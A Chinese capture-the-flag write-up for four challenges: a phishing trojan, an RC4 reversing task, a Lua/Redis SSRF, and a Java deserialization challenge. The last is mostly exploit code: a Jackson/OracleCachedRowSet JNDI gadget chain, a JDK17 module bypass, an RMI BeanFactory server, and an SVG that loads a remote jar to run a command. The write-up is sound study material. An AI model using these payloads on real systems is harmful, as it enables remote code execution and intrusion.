软件系统安全攻防赛Wp

钓鱼邮件

这题是签到题,给了一个邮件,我是用的飞书打开的

这里面有一个附件打开需要密码可以看到提示和邮件日期时间推测为生日密码。打开之后是一个木马样本丢到微步没分析出来外联ip和端口于是就放自己本地虚拟机跑了下看网络通信,能找到ip直接md5加密提交即可

donntyousee

首先去除花枝令,是把一个函数拆分成了两段,把图中一段nop掉再U+P,需要对俩个函数去花,第一个是start中405559,的第二个函数是动调查看的405eaa。

发现是rc4算法,变异了一步异或0x23,密文需要动调查看,密文如下:

比较恶心的是存在反调试,因此动调获得的密钥是错误的,静态查看的密钥是正确的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Cipher import ARC4



key = b'\x92\x1C+\x1F\xBA\xFB\xA2\xFF\ai}w\x18\x8C'

ciphertext = bytearray([0x25,0xCD, 0x54, 0xAF, 0x51, 0x1C, 0x58, 0xD3, 0xA8, 0x4B, 0x4F, 0x56, 0xEC, 0x83, 0x5D, 0xD4, 0xF6, 0x47, 0x4A, 0x6F, 0xE0, 0x73, 0xB0, 0xA5, 0xA8, 0xC3, 0x17, 0x81, 0x5E, 0x2B, 0xF4, 0xF6, 0x71, 0xEA, 0x2F, 0xFF, 0xA8, 0x63, 0x99, 0x57]

)

cipher = ARC4.new(key)

decrypted_data = cipher.decrypt(ciphertext)

for i in decrypted_data:

print(chr(i ^ 0x23),end = '')

CachedVisitor

这题自己有点蠢了当时比赛的时候看着能进复赛了就走了没做,因为前面确实尝试了很多次忘了附件里给了readflag导致一直没打成功赛后吃了个海底捞回来复现了一下做出来的太蠢了自己。

先来看看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
local function read_file(filename)

local file = io.open(filename, "r")

if not file then

print("Error: Could not open file " .. filename)

return nil

end



local content = file:read("*a")

file:close()

return content

end



local function execute_lua_code(script_content)

local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")

if lua_code then

local chunk, err = load(lua_code)

if chunk then

local success, result = pcall(chunk)

if not success then

print("Error executing Lua code: ", result)

end

else

print("Error loading Lua code: ", err)

end

else

print("Error: No valid Lua code block found.")

end

end



local function main()

local filename = "/scripts/visit.script"

local script_content = read_file(filename)

if script_content then

execute_lua_code(script_content)

end

end



main()

scripts文件夹下的文件 visit.script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
##LUA_START##
local curl = require("cURL")
local redis = require("resty.redis")

ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.url

if not url then
ngx.say("URL parameter is missing!")
return
end

local red = redis:new()
red:set_timeout(1000)

local ok, err = red:connect("127.0.0.1", 6379)
if not ok then
ngx.say("Failed to connect to Redis: ", err)
return
end

local res, err = red:get(url)
if res and res ~= ngx.null then
ngx.say(res)
return
end

local c = curl.easy {
url = url,
timeout = 5,
connecttimeout = 5
}

local response_body = {}

c:setopt_writefunction(table.insert, response_body)

local ok, err = pcall(c.perform, c)

if not ok then
ngx.say("Failed to perform request: ", err)
c:close()
return
end

c:close()

local response_str = table.concat(response_body)

local ok, err = red:setex(url, 3600, response_str)
if not ok then
ngx.say("Failed to save response in Redis: ", err)
return
end

ngx.say(response_str)
##LUA_END##

这里没学过lua没明白啥意思丢个gpt问了问这个脚本是什么意思就是相当于是本地开了一个redis服务,然后curl可以发起请求连接这个redis服务也可以访问http将返回的值存入redis中。其实本质就是一个ssrf打redis。我这里直接使用dict协议去攻击redis,我的思路是去覆盖visit.script文件,因为main.lua功能主要是读取visit.script中的代码去执行的。

这里的16进制代码是

然后直接save就可以了

在访问下visit路由就可以看到flag了

当时比赛没打出来原因是自己和队友一直想着去覆盖执行命令去了忘了使用这里的readflag,但是执行命令的代码有点长在redis传输过程中会有一些脏数据插入到里面所以导致一直覆盖的代码是有问题的。

题目附件

JDBCParty

题目给了一个jar包反编译看看

看路由可以看到存在一个直接的反序列化点。去看看依赖

可以看到这些依赖像是去利用jndi,但是这里的jdk版本是17所以需要bypass。这里利用的是com.oracle.database.jdbc这个依赖实际上就是以下这个项目介绍的漏洞

https://github.com/luelueking/Deserial_Sink_With_JDBC

或者参考该文章也有介绍
https://xz.aliyun.com/news/14169

为什么需要rmi打呢

这两个会报错。

jdk17 反射利用

可以参考这两个师傅写的总结的很全面
https://forum.butian.net/share/3748
https://pankas.top/2023/12/05/jdk17-%E5%8F%8D%E5%B0%84%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87/

来看一下其他师傅们的打法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
import org.apache.batik.swing.JSVGCanvas;    
import com.fasterxml.jackson.databind.node.POJONode;
import oracle.jdbc.rowset.OracleCachedRowSet;
import sun.misc.Unsafe;
import org.apache.catalina.users.MemoryUserDatabaseFactory;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Vector;

public class poc {
public static void main(String[] args) throws Exception {

Class unsafeClass = Class.forName("sun.misc.Unsafe");

Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = poc.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();

oracleCachedRowSet.setDataSourceName("rmi://127.0.0.1:1099/Object");

UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("monitorLock"),null);
Vector vector1 = new Vector();
vector1.add(0,"111");
Vector vector2 = new Vector();
vector2.add(0,"222");
String[] metaData= new String[]{"111","222"};

UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("matchColumnIndexes"),vector1);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("matchColumnNames"),vector2);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("metaData"),metaData);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("reader"),null);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("writer"),null);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("syncProvider"),null);

POJONode pojoNode = new POJONode(oracleCachedRowSet);

EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(pojoNode);
setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
String payload = base64Encode(serialize(list));
System.out.println(payload);
deserialize(base64Decode(payload));

}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception{
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e){
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
//HashMap打Spring的原生toString链
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}

public static byte[] base64Decode(String base64) {
Base64.Decoder decoder = Base64.getDecoder();
return decoder.decode(base64);
}

public static String base64Encode(byte[] bytes) {
Base64.Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(bytes);
}

public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}

public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.example.jdbcparty;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import sun.misc.Unsafe;

public class UnSafeTools {
static Unsafe unsafe;

public UnSafeTools() {
}

public static Unsafe getUnsafe() throws Exception {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe)field.get((Object)null);
return unsafe;
}

public static void setObject(Object o, Field field, Object value) {
unsafe.putObject(o, unsafe.objectFieldOffset(field), value);
}

public static Object newClass(Class c) throws InstantiationException {
Object o = unsafe.allocateInstance(c);
return o;
}

public static void bypassModule(Class src, Class dst) throws Exception {
Unsafe unsafe = getUnsafe();
Method getModule = dst.getDeclaredMethod("getModule");
getModule.setAccessible(true);
Object module = getModule.invoke(dst);
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(src, addr, module);
}

static {
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe)field.get((Object)null);
} catch (Exception var1) {
System.out.println("Error: " + var1);
}

}
}

这里是用的jackson原生的反序列化来打的然后入口是EventListenerList去触发toString然后利用jackson反序列化会调用getter的特性触发getconnection方法调用lookup方法。

然后在poc上面的一部分做一下解释

1
2
3
4
5
6
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("matchColumnIndexes"),vector1);    
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("matchColumnNames"),vector2);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("metaData"),metaData);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("reader"),null);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("writer"),null);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("syncProvider"),null);

这里是连接时需要设置的参数,否则就会报错。然后其实到这里就已经可以发起外部请求了,但是因为时jdk17,所以需要绕过jndi不能远程加载的问题,之前浅蓝师傅的一篇文章介绍了很多种高版本绕过jdk的手法可以去寻找看看,不过发现好像文章中介绍的在此题中版本不一样没法利用。

 tomcat高版本 虽然对toString做了限制但是可以通过JavaBeans Introspector 实现获取任意类的bean之后就可以调用任意类的的setter方法 而且可以实现任意传参所以我们可以通过 BeanFactory实现调用任意setter方法并且传参获取JavaBean的WriteMethod也就是所有setter方法
 https://xz.aliyun.com/news/16156

这里利用的是org.apache.batik.swing.JSVGCanvas.setURI并且lib中存在依赖。具体原理参考:
https://mp.weixin.qq.com/s/fZtDvpyAo-UZRE9MhfB0VQ
https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ
然后结合一个20年前的漏洞 svg打rce
https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html

记录下payload

svg

1
2
3
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100" xmlns:xlink="http://www.w3.org/1999/xlink">    
<script type="application/java-archive" xlink:href="http://127.0.0.1:81/evil.jar">
</script></svg>

RMIserver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.sun.jndi.rmi.registry.ReferenceWrapper;    
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry( 1099);

ResourceRef ref = new ResourceRef("org.apache.batik.swing.JSVGCanvas", null, "", "",
true,"org.apache.naming.factory.BeanFactory",null);

ref.add(new StringRefAddr("forceString", "URI=test"));

ref.add(new StringRefAddr("URI", "http://127.0.0.1:7001/calc.svg"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.w3c.dom.svg.EventListenerInitializer;    
import org.w3c.dom.svg.SVGDocument;

public class SVGHandler implements EventListenerInitializer {
public SVGHandler() {}
@Override
public void initializeEventListeners(SVGDocument svgDocument) {
try{
Runtime.getRuntime().exec("open -a Calculator");
}catch(Exception e){

}
}
}

这里需要实现EventListenerInitializer接口的原因在于svg在进行加载jar文件的时候进行了强转

下面将该java文件编译成jar,先导入依赖

然后编写
META-INF/MANIFEST.MF

1
2
Manifest-Version: 1.0    
SVG-Handler-Class: SVGHandler

最后编译

1
2
javac -cp /Users/ocean/Downloads/xml-apis-ext-1.3.04.jar SVGHandler.java
jar cmf /Users/ocean/Cybersecurity/Java_project/svg_rce/src/main/resources/META-INF/MANIFEST.MF evil.jar SVGHandler.class

然后将svg 和 evil.jar分别放在不同的端口服务上就可以打成功了

参考:
https://nlrvana.github.io/%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8%E9%98%B2%E6%8A%A4%E8%B5%9B-jdbcparty/#0x02-jdk%E9%AB%98%E7%89%88%E6%9C%AC%E7%BB%95%E8%BF%87jndi
https://j1rry-learn.github.io/posts/%E4%BB%8E%E7%B3%BB%E7%BB%9F%E5%AE%89%E5%85%A8%E9%98%B2%E6%8A%A4%E8%B5%9Bjdbcparty-%E5%AD%A6%E4%B9%A0%E9%AB%98%E7%89%88%E6%9C%ACjdk%E5%92%8C%E9%AB%98%E7%89%88%E6%9C%ACtomcat%E6%89%93jndi%E5%88%B0rce